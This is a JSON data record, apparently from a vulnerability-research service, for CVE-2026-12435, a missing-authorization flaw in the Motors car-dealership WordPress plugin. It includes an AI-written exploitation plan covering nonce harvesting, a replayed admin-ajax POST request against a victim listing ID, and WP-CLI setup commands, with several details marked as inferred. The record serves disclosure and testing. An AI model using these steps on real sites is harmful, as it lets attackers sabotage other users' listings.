[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fbW-8zdca4suc7STOYS_s1A4Yog2lTN7L54GbrvuqsKw":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":29,"research_verified":30,"research_rounds_completed":31,"research_plan":32,"research_summary":9,"research_vulnerable_code":9,"research_fix_diff":9,"research_exploit_outline":9,"research_model_used":33,"research_started_at":34,"research_completed_at":35,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":30,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":30,"source_links":36},"CVE-2026-12435","motors-missing-authorization-to-authenticated-subscriber-arbitrary-post-meta-modification-via-stmmarkassoldcar-parameter","Motors \u003C= 1.4.111 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Post Meta Modification via 'stm_mark_as_sold_car' Parameter","The Motors – Car Dealership & Classified Listings Plugin plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.4.111. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to mark or unmark any other user's car listing as sold by replaying a valid nonce harvested from their own listing against an arbitrary victim post ID, triggering a site-wide 'Sold' badge on the victim's listing and silently stripping its special_car featured post meta as a side effect. Exploitation requires the attacker to hold an active listing of their own (obtainable by a Subscriber via the plugin's add-listing form) in order to harvest a valid nonce for the 'stm_mark_as_sold_car' action, which can then be replayed against any other listing's post ID.","motors-car-dealership-classified-listings",null,"\u003C=1.4.111","1.4.112","medium",4.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Missing Authorization","2026-06-30 19:04:55","2026-07-01 07:53:36",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F5238c344-d685-4eab-822c-d3c1050cc982?source=api-prod",1,[22,23,24,25,26,27,28],"includes\u002Fadmin\u002Fpage_generator\u002Fjs\u002Fpage_generator.js","includes\u002Fnuxy\u002Fcustom-fields\u002Fjs_components\u002Fnuxy-radio.js","includes\u002Fvehicle_functions.php","readme.txt","stm_vehicles_listing.php","templates\u002Fbutton-go-pro.php","vendor\u002Fcomposer\u002Finstalled.php","researched",false,3,"This research plan outlines the technical steps to exploit **CVE-2026-12435**, a Missing Authorization vulnerability in the **Motors** plugin. This flaw allows a Subscriber-level user to mark any car listing as \"Sold\" and remove its featured status by replaying a valid nonce against an unauthorized post ID.\n\n---\n\n### 1. Vulnerability Summary\n- **Vulnerability:** Missing Authorization (IDOR\u002FBypass).\n- **Location:** Likely in `includes\u002Factions.php` (referenced in `stm_vehicles_listing.php`) within an AJAX handler.\n- **Root Cause:** The AJAX handler for marking a car as sold verifies the WordPress nonce (ensuring the request is not CSRF) but fails to check if the current user has ownership or permission to modify the specific `post_id` provided in the request.\n- **Impact:** Attackers can sabotage competitors' listings by marking them as sold (removing them from active search\u002Finventory) and stripping \"Featured\" (`special_car`) status.\n\n### 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Action:** `stm_ajax_add_mark_as_sold_car` (inferred from parameter name and plugin naming conventions).\n- **Parameters:**\n    - `action`: `stm_ajax_add_mark_as_sold_car`\n    - `car_id`: The ID of the victim's car listing.\n    - `nonce`: A valid nonce for the `stm_ajax_add_mark_as_sold_car` action.\n- **Authentication:** Required (Subscriber or higher). The attacker must be able to create their own listing to generate the required nonce.\n\n### 3. Code Flow (Inferred)\n1.  **Frontend Entry:** A logged-in user views their own \"My Listings\" page.\n2.  **Nonce Generation:** The plugin calls `wp_create_nonce('stm_ajax_add_mark_as_sold_car')` and localizes it into a JavaScript object.\n3.  **AJAX Call:** When the user clicks \"Mark as Sold,\" a request is sent to `admin-ajax.php` with the `car_id` and the `nonce`.\n4.  **Vulnerable Sink:** The handler (likely `stm_ajax_add_mark_as_sold_car` in `includes\u002Factions.php`):\n    - Calls `check_ajax_referer('stm_ajax_add_mark_as_sold_car', 'nonce')` (Passes because the nonce is valid for the user session).\n    - **Fails** to call `current_user_can('edit_post', $car_id)` or verify `$post->post_author`.\n    - Updates post meta: `update_post_meta($car_id, 'car_mark_as_sold', 'on')`.\n    - Deletes post meta: `delete_post_meta($car_id, 'special_car')`.\n\n### 4. Nonce Acquisition Strategy\nNonces for this action are typically exposed in the User Dashboard where listings are managed.\n\n1.  **Identify the Script Variable:** The plugin enqueues a script (likely `stm_user_dashboard`) and localizes data.\n2.  **Setup for Nonce:**\n    - A Subscriber must have at least one listing.\n    - Create a page with the listing management shortcode (if not already present):\n      `wp post create --post_type=page --post_status=publish --post_content='[stm_add_car]'` (or the relevant dashboard shortcode).\n3.  **Extraction via Browser:**\n    - Log in as a Subscriber.\n    - Navigate to the page containing the \"My Listings\" dashboard.\n    - Use `browser_eval` to find the nonce:\n      ```javascript\n      \u002F\u002F Common Motors JS objects: stm_listings_data, stm_user_vars\n      window.stm_listings_data?.mark_as_sold_nonce || window.stm_user_vars?.nonce\n      ```\n    - Note: Search the page source for `wp_create_nonce` calls if the specific variable name differs.\n\n### 5. Exploitation Strategy\n\n#### Step 1: Discover Victim Post ID\nUse `wp post list --post_type=listings` to identify a target listing ID (e.g., `VictimID = 123`) that is **not** owned by the Subscriber.\n\n#### Step 2: Trigger Modification\nUsing the `http_request` tool, send the following authenticated POST request:\n\n- **URL:** `http:\u002F\u002F\u003Ctarget>\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Method:** `POST`\n- **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n- **Body:**\n  ```\n  action=stm_ajax_add_mark_as_sold_car&car_id=123&nonce=\u003CHARVESTED_NONCE>\n  ```\n\n### 6. Test Data Setup\n1.  **Target User:** Create an Admin user who owns a \"Featured\" listing.\n    - `wp post create --post_type=listings --post_title=\"Victim Car\" --post_status=publish --post_author=1`\n    - `wp post meta add \u003CVictimID> special_car on`\n2.  **Attacker User:** Create a Subscriber user.\n    - `wp user create attacker attacker@example.com --role=subscriber --user_pass=password`\n3.  **Attacker Listing:** The attacker must own a listing to see the \"Mark as Sold\" UI and get a nonce.\n    - `wp post create --post_type=listings --post_title=\"Attacker Car\" --post_status=publish --post_author=\u003CAttackerUID>`\n\n### 7. Expected Results\n- **HTTP Response:** A JSON success message, e.g., `{\"success\": true}` or `1`.\n- **Victim Post State:**\n    - Meta key `car_mark_as_sold` is set to `on`.\n    - Meta key `special_car` is **removed**.\n    - The car appears with a \"Sold\" badge on the frontend.\n\n### 8. Verification Steps\nAfter sending the HTTP request, verify the database state using WP-CLI:\n\n```bash\n# Check if the listing is marked as sold\nwp post meta get \u003CVictimID> car_mark_as_sold\n\n# Check if the special_car (featured) meta was removed\nwp post meta get \u003CVictimID> special_car\n# Expected: Error or empty result\n```\n\n### 9. Alternative Approaches\nIf `stm_ajax_add_mark_as_sold_car` is not the correct action name:\n1.  **Grepping for Sinks:** Run `grep -rn \"update_post_meta.*car_mark_as_sold\" includes\u002F` to find the exact function handling the update.\n2.  **JS Inspection:** In the browser, inspect the \"Mark as Sold\" button in the dashboard to see which AJAX action is bound to its `click` event in the `page_generator.js` or similar assets.\n3.  **Unmark as Sold:** The description implies a toggle (\"mark or unmark\"). Try `stm_ajax_remove_mark_as_sold_car` to restore a listing, demonstrating the same authorization bypass.","gemini-3-flash-preview","2026-07-25 12:42:50","2026-07-25 12:43:36",{"type":37,"vulnerable_version":38,"fixed_version":11,"vulnerable_browse":39,"vulnerable_zip":40,"fixed_browse":41,"fixed_zip":42,"all_tags":43},"plugin","1.4.111","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fmotors-car-dealership-classified-listings\u002Ftags\u002F1.4.111","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fmotors-car-dealership-classified-listings.1.4.111.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fmotors-car-dealership-classified-listings\u002Ftags\u002F1.4.112","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fmotors-car-dealership-classified-listings.1.4.112.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fmotors-car-dealership-classified-listings\u002Ftags"]